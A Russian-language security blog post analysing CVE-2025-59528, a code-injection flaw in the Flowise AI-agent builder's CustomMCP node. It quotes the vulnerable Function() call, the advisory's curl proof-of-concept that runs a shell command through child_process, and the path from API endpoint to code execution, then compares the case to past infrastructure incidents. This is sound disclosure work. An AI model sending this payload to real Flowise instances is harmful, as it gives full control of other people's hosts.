Что случилось

CVE-2025-59528 - удалённое выполнение кода в Flowise, low-code билдере для AI-агентов с 51.9K звёзд на GitHub. Классификация: CWE-94 (Code Injection). Официальный advisory: GHSA-3gcm-f6qx-ff7p.

Баг находится в CustomMCP - ноде, которая подключает произвольные MCP-сервисы к агенту. Вот уязвимая функция:

JavaScript
// CustomMCP.ts, строки 262-268
function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

mcpServerConfig приходит от пользователя, проходит через substituteVariablesInString() без какой-либо фильтрации и попадает в Function(). Результат - выполнение произвольного JS с доступом к process.mainModule.require("child_process") и полным контролем над хостом.

PoC из официального advisory:

Bash
curl -X POST http://localhost:3000/api/v1/node-load-method/customMCP \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer <API_TOKEN>" \
  -d '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"id\");return 1;})()})"
    }
  }'

Один POST-запрос. Если инстанс доступен из сети и токен не авторизован (а по умолчанию авторизации нет) - игра окончена.

CVE-2025-59528: путь атаки от API до RCE

Уязвимый путь: 6 шагов от API-эндпоинта до code execution.

Шаг Файл Действие
1 routes/node-load-methods/index.ts Роут /api/v1/node-load-method/customMCP
2 controllers/nodes/index.ts Контроллер передаёт запрос в сервис
3 services/nodes/index.ts Сервис вызывает CustomMCP handler
4 CustomMCP.ts:132 getTools() читает mcpServerConfig
5 CustomMCP.ts:220 Подстановка переменных, без фильтрации
6 CustomMCP.ts:262 Function('return ' + input)() - RCE

Для эксплуатации нужен API-токен Flowise и сетевой доступ к инстансу. Default порт - 3000, без авторизации на многих публичных инстансах.

Уязвимы версии до 3.0.5. Фикс в 3.0.6. Версия 3.1.0 добавила комплексное усиление безопасности: sandbox для выполнения кода, HTTP deny list, защита от path traversal.

Tool plane = attack plane

Когда я писал про безопасность AI-агентов, главным риском был prompt injection. Теперь добавился второй вектор: уязвимости не в модели, а в инфраструктуре вокруг неё.

MCP-ноды в Flowise крутятся рядом с инструментами, файлами, внешними API и секретами. Агентный loop пробрасывает tool calls через этот слой без ограничений. Любая ошибка в интеграционной обвязке мгновенно даёт права уровня хоста.

Tool plane = attack plane: одна уязвимая нода компрометирует весь стек

Масштаб проблемы

Flowise - один из самых популярных инструментов в категории AI-агентов:

  • 51.9K звёзд на GitHub
  • 24.1K форков
  • 30 зарегистрированных security advisory в репозитории (март 2025 - март 2026)
  • Тысячи инстансов с открытым доступом к API в интернете (точное количество неизвестно)

PoC публично доступен в GitHub Advisory, что делает эксплуатацию тривиальной. На таком объёме установок даже малый процент доступных из сети инстансов - потенциальная база для mass scanning.

Кейс шумный именно потому, что Flowise - popular low-code билдер. Баг попал в production-путь, периметр огромный. Больше агентов - меньше контроля, и этот кейс подтверждает: один из первых интернет-масштабных инцидентов вокруг платформ для AI-агентов.

Что делать прямо сейчас

Чеклист защиты: 7 шагов для securing агентного стека

Рынок повторяет путь DevOps

Знакомая картина. Сначала все делают ставку на удобство и скорость. Потом control plane выставляется наружу. А потом выясняется, что интеграционный слой имеет слишком много привилегий.

Jenkins, 2016-2019. Плагины с десериализацией, публичные API без авторизации. CVE-2018-1000861 - удалённая доставка кода через Stapler framework. Десятки тысяч серверов. Эпидемия криптомайнеров.

Kubernetes Dashboard, 2018. CVE-2018-18264 - dashboard по умолчанию давал admin-доступ к кластеру без авторизации. Tesla, Aviva и тысячи других словили криптомайнеров через открытый порт 8001.

SolarWinds, 2020. Supply chain - заражённая сборка update-пакета. Не code injection, но та же суть: интеграционный слой с высоким уровнем доверия стал вектором.

Теперь очередь AI-агентов. Flowise - ранний симптом, не исключение. Jarvis Pattern показывает, что агент - это операционная система, а не просто модель. Каждый популярный агентский фреймворк с плагинами, MCP-адаптерами и динамической конфигурацией несёт аналогичные риски. Вопрос не "сломают ли", а "когда найдут следующий баг".

Этот кейс не доказывает, что LLM сама всех ломает. Он показывает: инфраструктура агентов уже тащит за собой старые appsec-баги. Только теперь blast radius больше, потому что агент имеет доступ ко всему сразу - от серверов до данных клиентов.


Источники: